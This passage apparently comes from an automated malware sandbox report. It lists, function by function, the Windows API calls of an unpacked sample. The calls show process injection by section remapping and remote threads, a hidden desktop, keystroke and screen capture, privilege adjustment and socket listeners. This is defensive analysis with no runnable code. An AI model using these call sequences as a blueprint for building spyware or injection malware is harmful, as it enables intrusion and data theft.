    • lstrcmpiW.KERNEL32(?,?), ref: 00A190EF
    • MoveFileExW.KERNEL32(?,?,0000000B), ref: 00A19114
      • Part of subcall function 00A0FC68: RegOpenKeyExW.ADVAPI32(80000001,00A23E88,00000000,00000001,?), ref: 00A0FC91
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
      • Part of subcall function 00A18AB9: GetTickCount.KERNEL32 ref: 00A18BB5
      • Part of subcall function 00A18AB9: GetUserDefaultUILanguage.KERNEL32 ref: 00A18C06
      • Part of subcall function 00A18AB9: GetModuleFileNameW.KERNEL32(00000000,?,00000103,?,?,00000000), ref: 00A18C4B
      • Part of subcall function 00A18AB9: GetUserNameExW.SECUR32(00000002,?,00000104,?,?,00000000), ref: 00A18C91
      • Part of subcall function 00A19500: WaitForSingleObject.KERNEL32(?,00001388), ref: 00A19556
      • Part of subcall function 00A19500: Sleep.KERNEL32(00001388), ref: 00A19565
      • Part of subcall function 00A0E6B7: FlushFileBuffers.KERNEL32 ref: 00A0E6C3
      • Part of subcall function 00A0E6B7: CloseHandle.KERNEL32(?), ref: 00A0E6CB
    • WaitForSingleObject.KERNEL32(00007530), ref: 00A191BF
    • InterlockedExchange.KERNEL32(00A24188,?), ref: 00A191DB
      • Part of subcall function 00A0BD18: ReleaseMutex.KERNEL32 ref: 00A0BD1C
    • GetFileAttributesW.KERNEL32(00A24190), ref: 00A191F7
    • InterlockedExchange.KERNEL32(00A24188,00000000), ref: 00A1920C
      • Part of subcall function 00A0D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A0D95E
      • Part of subcall function 00A0D955: DeleteFileW.KERNEL32(?), ref: 00A0D968
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1886A, Relevance: 15.1, APIs: 10, Instructions: 92
    APIs
    • OpenWindowStationW.USER32(00000014,00000000,10000000), ref: 00A1888F
    • CreateWindowStationW.USER32(00000014,00000000,10000000,00000000), ref: 00A188A2
    • GetProcessWindowStation.USER32 ref: 00A188B3
      • Part of subcall function 00A18842: GetProcessWindowStation.USER32 ref: 00A18846
      • Part of subcall function 00A18842: SetProcessWindowStation.USER32(00000000), ref: 00A1885A
    • OpenDesktopW.USER32(?,00000000,00000000,10000000), ref: 00A188EE
    • CreateDesktopW.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00A18902
    • GetCurrentThreadId.KERNEL32 ref: 00A1890E
    • GetThreadDesktop.USER32 ref: 00A18915
      • Part of subcall function 00A187FD: lstrcmpiW.KERNEL32 ref: 00A18822
    • SetThreadDesktop.USER32 ref: 00A18927
    • CloseDesktop.USER32 ref: 00A18939
    • CloseWindowStation.USER32(?), ref: 00A18954
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A19ED2, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 99
    APIs
    • LoadLibraryW.KERNEL32(?), ref: 00A19EE9
    • GetProcAddress.KERNEL32(?,?), ref: 00A19F15
    • GetProcAddress.KERNEL32(?,00000006), ref: 00A19F2C
    • GetProcAddress.KERNEL32(?,00000000), ref: 00A19F44
    • FreeLibrary.KERNEL32(?), ref: 00A19FCD
      • Part of subcall function 00A09B6C: GetCurrentThread.KERNEL32 ref: 00A09B7C
      • Part of subcall function 00A09B6C: OpenThreadToken.ADVAPI32 ref: 00A09B83
      • Part of subcall function 00A09B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00A19F61), ref: 00A09B95
      • Part of subcall function 00A09B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00A19F61,?), ref: 00A09BB9
      • Part of subcall function 00A09B6C: AdjustTokenPrivileges.ADVAPI32(00A19F61,00000000,00000001,00000000,00000000,00000000), ref: 00A09BCE
      • Part of subcall function 00A09B6C: GetLastError.KERNEL32 ref: 00A09BD8
      • Part of subcall function 00A09B6C: CloseHandle.KERNEL32(00A19F61), ref: 00A09BE7
    • WTSGetActiveConsoleSessionId.KERNEL32 ref: 00A19F61
      • Part of subcall function 00A19E61: EqualSid.ADVAPI32(?,?), ref: 00A19E86
      • Part of subcall function 00A19E61: CloseHandle.KERNEL32(?), ref: 00A19EC7
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A11F30, Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 416
    APIs
      • Part of subcall function 00A091F6: CharLowerA.USER32(?), ref: 00A092C6
      • Part of subcall function 00A091F6: CharLowerA.USER32(?), ref: 00A092D0
      • Part of subcall function 00A082C2: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00A082DD
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
      • Part of subcall function 00A080EB: HeapAlloc.KERNEL32(00000008,?,00A0847D,?,009F7A97,?,00A08FC7,?,?,009F7A97,?,?,00A08F77,?,?,?), ref: 00A0810D
      • Part of subcall function 00A080EB: HeapReAlloc.KERNEL32(00000008,?,?,00A0847D,?,009F7A97,?,00A08FC7,?,?,009F7A97,?,?,00A08F77,?,?), ref: 00A0811E
      • Part of subcall function 00A0D156: StrCmpNIA.SHLWAPI(00000001,nbsp;,00000005), ref: 00A0D279
    • InternetCrackUrlA.WININET(00000000,00000000,00000000,?), ref: 00A12289
    • GetSystemTime.KERNEL32(?), ref: 00A122A8
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
    • LeaveCriticalSection.KERNEL32(00A23FEC), ref: 00A1241A
      • Part of subcall function 00A09656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00A0966F
      • Part of subcall function 00A09656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00A09687
      • Part of subcall function 00A09656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 00A096A3
      • Part of subcall function 00A09656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 00A096BB
      • Part of subcall function 00A09656: CryptDestroyHash.ADVAPI32(?), ref: 00A096D2
      • Part of subcall function 00A09656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A096DC
    • GetLocalTime.KERNEL32(?), ref: 00A123B2
      • Part of subcall function 00A0C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00A0C80C
      • Part of subcall function 00A0C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00A0C826
      • Part of subcall function 00A0C7EE: RegCloseKey.ADVAPI32(00000000), ref: 00A0C835
    • EnterCriticalSection.KERNEL32(00A23FEC,00000000), ref: 00A123DE
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A13F77, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 148
    APIs
      • Part of subcall function 00A0C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00A0C6C6
      • Part of subcall function 00A0C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A0C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A13FDE
      • Part of subcall function 00A13D7F: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00A13DB6
      • Part of subcall function 00A13D7F: StrStrIW.SHLWAPI(?,?), ref: 00A13E48
      • Part of subcall function 00A13D7F: StrStrIW.SHLWAPI(?,?), ref: 00A13E59
      • Part of subcall function 00A13D7F: GetPrivateProfileStringW.KERNEL32(?,?,?,?,000000FF,?), ref: 00A13E75
      • Part of subcall function 00A13D7F: GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A13E93
      • Part of subcall function 00A13D7F: GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A13EAD
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00A13FFB
    • SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00A14077
      • Part of subcall function 00A0DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00A0DDB9
      • Part of subcall function 00A0DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A0DDE0
      • Part of subcall function 00A0DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A0DE2A
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE57
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE87
      • Part of subcall function 00A0DD7A: FindNextFileW.KERNEL32(?,?), ref: 00A0DEB5
      • Part of subcall function 00A0DD7A: FindClose.KERNEL32(?), ref: 00A0DEC7
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A14118
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A18575, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107
    APIs
    • TranslateMessage.USER32(?), ref: 00A186D3
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
    • EnterCriticalSection.KERNEL32(00A24170), ref: 00A185AF
    • LeaveCriticalSection.KERNEL32(00A24170), ref: 00A18659
      • Part of subcall function 00A07B9E: LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00A07BD0
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(?,GdiplusStartup), ref: 00A07BE1
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00A07BEE
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 00A07BFB
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 00A07C08
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 00A07C15
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 00A07C22
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 00A07C2F
      • Part of subcall function 00A07B9E: LoadLibraryA.KERNEL32(ole32.dll), ref: 00A07C77
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(?,CreateStreamOnHGlobal), ref: 00A07C82
      • Part of subcall function 00A07B9E: LoadLibraryA.KERNEL32(gdi32.dll), ref: 00A07C94
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(?,CreateDCW), ref: 00A07C9F
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(00000001,CreateCompatibleDC), ref: 00A07CAB
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(00000001,CreateCompatibleBitmap), ref: 00A07CB8
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(00000001,GetDeviceCaps), ref: 00A07CC5
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(00000001,SelectObject), ref: 00A07CD2
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(00000001,BitBlt), ref: 00A07CDF
      • Part of subcall function 00A07B9E: GetProcAddress.KERNEL32(00000001,DeleteObject), ref: 00A07CEC
      • Part of subcall function 00A07B9E: FreeLibrary.KERNEL32(00000000), ref: 00A08030
      • Part of subcall function 00A07B9E: FreeLibrary.KERNEL32(?), ref: 00A0803A
      • Part of subcall function 00A07B9E: FreeLibrary.KERNEL32(00000001), ref: 00A08044
    • GetTickCount.KERNEL32 ref: 00A1861B
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
    • GetKeyboardState.USER32(?), ref: 00A18673
    • ToUnicode.USER32(0000001B,?,?,?,00000009,00000000), ref: 00A1869B
      • Part of subcall function 00A183EA: EnterCriticalSection.KERNEL32(00A24170,?,?,?,00A186D2,00000000,?,?,?,00000009,00000000), ref: 00A18407
      • Part of subcall function 00A183EA: LeaveCriticalSection.KERNEL32(00A24170,?,?,00A186D2,00000000,?,?,?,00000009,00000000), ref: 00A18428
      • Part of subcall function 00A183EA: EnterCriticalSection.KERNEL32(00A24170,?,?,?,?,00A186D2,00000000,?,?,?,00000009,00000000), ref: 00A18439
      • Part of subcall function 00A183EA: LeaveCriticalSection.KERNEL32(00A24170,?,?,?,?,00A186D2,00000000,?,?,?,00000009,00000000), ref: 00A184C1
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009FA6E3, Relevance: 12.2, APIs: 8, Instructions: 151
    APIs
      • Part of subcall function 009F7ED5: CreateMutexW.KERNEL32(00A22AFC,00000000,?), ref: 009F7EF6
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
    • WaitForSingleObject.KERNEL32(000003E8,?), ref: 009FA74E
    • CloseHandle.KERNEL32(?), ref: 009FA8B8
      • Part of subcall function 00A10533: CreateMutexW.KERNEL32(00A22AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00A10556
    • WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF), ref: 009FA7E8
    • WSAEventSelect.WS2_32(?,00000000,00000000), ref: 009FA829
    • WSAIoctl.WS2_32(?,8004667E,?,00000004,00000000,00000000,?,00000000,00000000), ref: 009FA849
      • Part of subcall function 00A0B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00A0B953
      • Part of subcall function 00A09ED7: CreateThread.KERNEL32(00000000,?,?,00000001), ref: 00A09EEB
      • Part of subcall function 00A09ED7: CloseHandle.KERNEL32 ref: 00A09EF6
    • accept.WS2_32(?,00000000,00000000), ref: 009FA874
    • WaitForMultipleObjects.KERNEL32(?,00000004,00000000), ref: 009FA888
      • Part of subcall function 00A0B8E5: shutdown.WS2_32(?,00000002), ref: 00A0B8ED
      • Part of subcall function 00A0B8E5: #3.WS2_32(?,?,00000002,009FA43E), ref: 00A0B8F4
    • CloseHandle.KERNEL32(?), ref: 009FA8A9
      • Part of subcall function 00A0BD18: ReleaseMutex.KERNEL32 ref: 00A0BD1C
      • Part of subcall function 00A10477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00A104BA
      • Part of subcall function 009FA45D: getsockname.WS2_32(?,?,?), ref: 009FA4B4
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A16F66, Relevance: 12.1, APIs: 8, Instructions: 116
    APIs
    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00A16F87
    • Process32FirstW.KERNEL32(?,?), ref: 00A16FB0
      • Part of subcall function 009F7E34: CreateMutexW.KERNEL32(00A22AFC,00000001,?), ref: 009F7E7C
    • OpenProcess.KERNEL32(00000400,00000000,?), ref: 00A1700B
    • CloseHandle.KERNEL32(?), ref: 00A170AC
      • Part of subcall function 00A09AB7: OpenProcessToken.ADVAPI32(00A22AC0,00000008,00A22AC0), ref: 00A09AC7
      • Part of subcall function 00A09AB7: GetTokenInformation.ADVAPI32(00A22AC0,0000000C,00000000,00000004,00A22F90), ref: 00A09AF3
      • Part of subcall function 00A09AB7: CloseHandle.KERNEL32(00A22AC0), ref: 00A09B08
    • CloseHandle.KERNEL32 ref: 00A17028
    • GetLengthSid.ADVAPI32(?,?,?,?), ref: 00A1703B
      • Part of subcall function 00A080EB: HeapAlloc.KERNEL32(00000008,?,00A0847D,?,009F7A97,?,00A08FC7,?,?,009F7A97,?,?,00A08F77,?,?,?), ref: 00A0810D
      • Part of subcall function 00A080EB: HeapReAlloc.KERNEL32(00000008,?,?,00A0847D,?,009F7A97,?,00A08FC7,?,?,009F7A97,?,?,00A08F77,?,?), ref: 00A0811E
      • Part of subcall function 00A16DB7: OpenProcess.KERNEL32(?,00000000,?), ref: 00A16DE0
      • Part of subcall function 00A16DB7: CreateFileMappingW.KERNEL32(00000000,00000000,00000040,00000000,?,00000000), ref: 00A16E2B
      • Part of subcall function 00A16DB7: MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,?), ref: 00A16E4E
      • Part of subcall function 00A16DB7: NtSuspendProcess.NTDLL(?,?,00000006,00000000), ref: 00A16E60
      • Part of subcall function 00A16DB7: ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00A16E7C
      • Part of subcall function 00A16DB7: NtUnmapViewOfSection.NTDLL(?,?,?,?), ref: 00A16EAE
      • Part of subcall function 00A16DB7: NtMapViewOfSection.NTDLL(?,?,?,00000000), ref: 00A16ECC
      • Part of subcall function 00A16DB7: FlushInstructionCache.KERNEL32(?,?,00000006), ref: 00A16EDA
      • Part of subcall function 00A16DB7: NtResumeProcess.NTDLL(?,?,?,?), ref: 00A16EE5
      • Part of subcall function 00A16DB7: Sleep.KERNEL32(00000064), ref: 00A16EF2
      • Part of subcall function 00A16DB7: UnmapViewOfFile.KERNEL32(?), ref: 00A16EFB
      • Part of subcall function 00A16DB7: CloseHandle.KERNEL32(?), ref: 00A16F04
      • Part of subcall function 00A16DB7: CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000), ref: 00A16F1D
      • Part of subcall function 00A16DB7: WaitForSingleObject.KERNEL32(?,00002710), ref: 00A16F2F
      • Part of subcall function 00A16DB7: CloseHandle.KERNEL32 ref: 00A16F36
      • Part of subcall function 00A16DB7: VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00A16F4F
      • Part of subcall function 00A16DB7: CloseHandle.KERNEL32 ref: 00A16F56
    • Process32NextW.KERNEL32(?,0000022C), ref: 00A170B8
    • CloseHandle.KERNEL32(?), ref: 00A170C9
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1BD28, Relevance: 12.1, APIs: 8, Instructions: 116
    APIs
    • GetCurrentThread.KERNEL32 ref: 00A1BD39
    • SetThreadPriority.KERNEL32 ref: 00A1BD40
      • Part of subcall function 00A1886A: OpenWindowStationW.USER32(00000014,00000000,10000000), ref: 00A1888F
      • Part of subcall function 00A1886A: CreateWindowStationW.USER32(00000014,00000000,10000000,00000000), ref: 00A188A2
      • Part of subcall function 00A1886A: GetProcessWindowStation.USER32 ref: 00A188B3
      • Part of subcall function 00A1886A: OpenDesktopW.USER32(?,00000000,00000000,10000000), ref: 00A188EE
      • Part of subcall function 00A1886A: CreateDesktopW.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00A18902
      • Part of subcall function 00A1886A: GetCurrentThreadId.KERNEL32 ref: 00A1890E
      • Part of subcall function 00A1886A: GetThreadDesktop.USER32 ref: 00A18915
      • Part of subcall function 00A1886A: SetThreadDesktop.USER32 ref: 00A18927
      • Part of subcall function 00A1886A: CloseDesktop.USER32 ref: 00A18939
      • Part of subcall function 00A1886A: CloseWindowStation.USER32(?), ref: 00A18954
      • Part of subcall function 00A1B7E3: TlsAlloc.KERNEL32(?,00A245C0,00000000), ref: 00A1B7FD
      • Part of subcall function 00A1B7E3: RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,00A245C0,00000000), ref: 00A1B824
      • Part of subcall function 00A1B7E3: CreateEventW.KERNEL32(00A22AFC,00000001,00000000,?), ref: 00A1B84B
      • Part of subcall function 00A1B7E3: CreateMutexW.KERNEL32(00A22AFC,00000000,?), ref: 00A1B86B
      • Part of subcall function 00A1B7E3: CreateFileMappingW.KERNEL32(00000000,00A22AFC,00000004,00000000,03D09128,?), ref: 00A1B893
      • Part of subcall function 00A1B7E3: MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 00A1B8A9
      • Part of subcall function 00A1B7E3: GetDC.USER32(00000000), ref: 00A1B8C6
      • Part of subcall function 00A1B7E3: GetDeviceCaps.GDI32(?,00000008), ref: 00A1B8E6
      • Part of subcall function 00A1B7E3: GetDeviceCaps.GDI32(00000000,0000000A), ref: 00A1B8F0
      • Part of subcall function 00A1B7E3: CreateCompatibleBitmap.GDI32(00000000,?), ref: 00A1B8FD
      • Part of subcall function 00A1B7E3: ReleaseDC.USER32(00000000,00000000), ref: 00A1B925
      • Part of subcall function 00A1B7E3: CreateMutexW.KERNEL32(00A22AFC,00000000,?), ref: 00A1B9C9
      • Part of subcall function 00A1B7E3: GetDC.USER32(00000000), ref: 00A1B9DE
      • Part of subcall function 00A1B7E3: CreateCompatibleDC.GDI32 ref: 00A1B9EB
      • Part of subcall function 00A1B7E3: CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 00A1BA00
      • Part of subcall function 00A1B7E3: SelectObject.GDI32(?), ref: 00A1BA17
      • Part of subcall function 00A1B7E3: ReleaseDC.USER32(00000000), ref: 00A1BA2D
      • Part of subcall function 00A1BA3D: DeleteObject.GDI32(00000000), ref: 00A1BA4D
      • Part of subcall function 00A1BA3D: CloseHandle.KERNEL32(00000000), ref: 00A1BA5D
      • Part of subcall function 00A1BA3D: TlsFree.KERNEL32 ref: 00A1BA68
      • Part of subcall function 00A1BA3D: CloseHandle.KERNEL32(00000000), ref: 00A1BA76
      • Part of subcall function 00A1BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 00A1BA80
      • Part of subcall function 00A1BA3D: CloseHandle.KERNEL32 ref: 00A1BA8D
      • Part of subcall function 00A1BA3D: SelectObject.GDI32(00000000,00000000), ref: 00A1BAA7
      • Part of subcall function 00A1BA3D: DeleteObject.GDI32(00000000), ref: 00A1BAB8
      • Part of subcall function 00A1BA3D: DeleteDC.GDI32(00000000), ref: 00A1BAC5
      • Part of subcall function 00A1BA3D: CloseHandle.KERNEL32(00000000), ref: 00A1BAD6
      • Part of subcall function 00A1BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00A1BAE5
      • Part of subcall function 00A1BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00A1BC3C,00000000,00A245C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00A1BAFE
      • Part of subcall function 00A06373: WSAGetLastError.WS2_32(?,00000001,0000000A,00000000,?,001B7740,?,00000003,001B7740,?,001B7740,?,?,00000018,?), ref: 00A06639
      • Part of subcall function 00A06373: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A06654
      • Part of subcall function 00A06373: ReleaseMutex.KERNEL32 ref: 00A066E6
      • Part of subcall function 00A06373: GetSystemMetrics.USER32(00000017), ref: 00A06806
      • Part of subcall function 00A06373: ReleaseMutex.KERNEL32 ref: 00A06B93
    • GetShellWindow.USER32(?,00000001,?,00000014,?,00000000,?,?,?,7C809BE7), ref: 00A1BD97
    • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00A1BDC9
      • Part of subcall function 00A0DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A0DEF5
    • WaitForSingleObject.KERNEL32(?,00001388), ref: 00A1BE29
    • CloseHandle.KERNEL32(?), ref: 00A1BE39
    • CloseHandle.KERNEL32(?), ref: 00A1BE3F
    • SystemParametersInfoW.USER32(00001003,00000000,00000000,00000000), ref: 00A1BE4E
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1C822, Relevance: 12.1, APIs: 8, Instructions: 107
    APIs
    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A1C836
    • ReleaseMutex.KERNEL32 ref: 00A1C855
    • GetWindowRect.USER32(?,?), ref: 00A1C862
    • IsRectEmpty.USER32(?), ref: 00A1C8E6
    • GetWindowLongW.USER32(?,000000F0), ref: 00A1C8F5
    • GetParent.USER32(?), ref: 00A1C90B
    • MapWindowPoints.USER32(00000000), ref: 00A1C914
    • SetWindowPos.USER32(?,00000000,?,?,?,?,0000630C), ref: 00A1C938
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A106F0, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 190
    APIs
    • EnterCriticalSection.KERNEL32(00A23F6C,0000FDE9,?), ref: 00A107A7
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    • LeaveCriticalSection.KERNEL32(00A23F6C,000000FF,000000FF), ref: 00A10802
    • EnterCriticalSection.KERNEL32(00A23F6C), ref: 00A1081D
    • getpeername.WS2_32 ref: 00A108D1
      • Part of subcall function 00A0B9A3: WSAAddressToStringW.WS2_32(?,?,00000000,?,?), ref: 00A0B9C7
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009FA4DE, Relevance: 10.7, APIs: 7, Instructions: 173
    APIs
    • recv.WS2_32(?,?,00000001,00000000), ref: 009FA4FD
      • Part of subcall function 00A0BD45: OpenMutexW.KERNEL32(00100000,00000000,00000000), ref: 00A0BD50
      • Part of subcall function 00A0BD45: CloseHandle.KERNEL32 ref: 00A0BD5B
    • WaitForSingleObject.KERNEL32(000003E8,?), ref: 009FA57C
      • Part of subcall function 009FA45D: getsockname.WS2_32(?,?,?), ref: 009FA4B4
      • Part of subcall function 00A0B463: #19.WS2_32(3C3D0F99,3C3D0F99,3C3D0F99,00000000,00A0FC25,?,?,00000005,?,?,?,00A1ABDA,?,00000001,?,?), ref: 00A0B471
    • CreateMutexW.KERNEL32(00000000,00000001,?), ref: 009FA5BE
      • Part of subcall function 00A0B7E9: select.WS2_32(00000000,?,00000000,00000000), ref: 00A0B866
      • Part of subcall function 00A0B7E9: WSASetLastError.WS2_32(0000274C,?,?,?), ref: 00A0B877
    • accept.WS2_32(00000001,00000000,00000000), ref: 009FA5FF
    • CloseHandle.KERNEL32(?), ref: 009FA616
    • CloseHandle.KERNEL32(?), ref: 009FA625
    • CloseHandle.KERNEL32(?), ref: 009FA642
      • Part of subcall function 00A0B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00A0B953
      • Part of subcall function 00A0B8FB: WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 00A0B92E
      • Part of subcall function 00A1BD28: GetCurrentThread.KERNEL32 ref: 00A1BD39
      • Part of subcall function 00A1BD28: SetThreadPriority.KERNEL32 ref: 00A1BD40
      • Part of subcall function 00A1BD28: GetShellWindow.USER32(?,00000001,?,00000014,?,00000000,?,?,?,7C809BE7), ref: 00A1BD97
      • Part of subcall function 00A1BD28: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00A1BDC9
      • Part of subcall function 00A1BD28: WaitForSingleObject.KERNEL32(?,00001388), ref: 00A1BE29
      • Part of subcall function 00A1BD28: CloseHandle.KERNEL32(?), ref: 00A1BE39
      • Part of subcall function 00A1BD28: CloseHandle.KERNEL32(?), ref: 00A1BE3F
      • Part of subcall function 00A1BD28: SystemParametersInfoW.USER32(00001003,00000000,00000000,00000000), ref: 00A1BE4E
      • Part of subcall function 00A0BD28: GetLastError.KERNEL32(7C802530,009F7E8B), ref: 00A0BD2B
      • Part of subcall function 00A0BD28: CloseHandle.KERNEL32 ref: 00A0BD39
      • Part of subcall function 00A036DA: getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00A03881
      • Part of subcall function 00A036DA: freeaddrinfo.WS2_32(?), ref: 00A038BE
      • Part of subcall function 00A036DA: getsockname.WS2_32(?,?,?), ref: 00A03998
      • Part of subcall function 00A036DA: getpeername.WS2_32(?,?,?), ref: 00A039B2
      • Part of subcall function 00A036DA: recv.WS2_32(?,?,0000FFFF,00000000), ref: 00A03A6C
      • Part of subcall function 00A036DA: recvfrom.WS2_32(?,?,0000FFFF,00000000,00000017,00000080), ref: 00A03AAC
      • Part of subcall function 00A036DA: getaddrinfo.WS2_32(00000000,00000000,00000000,?), ref: 00A03BE9
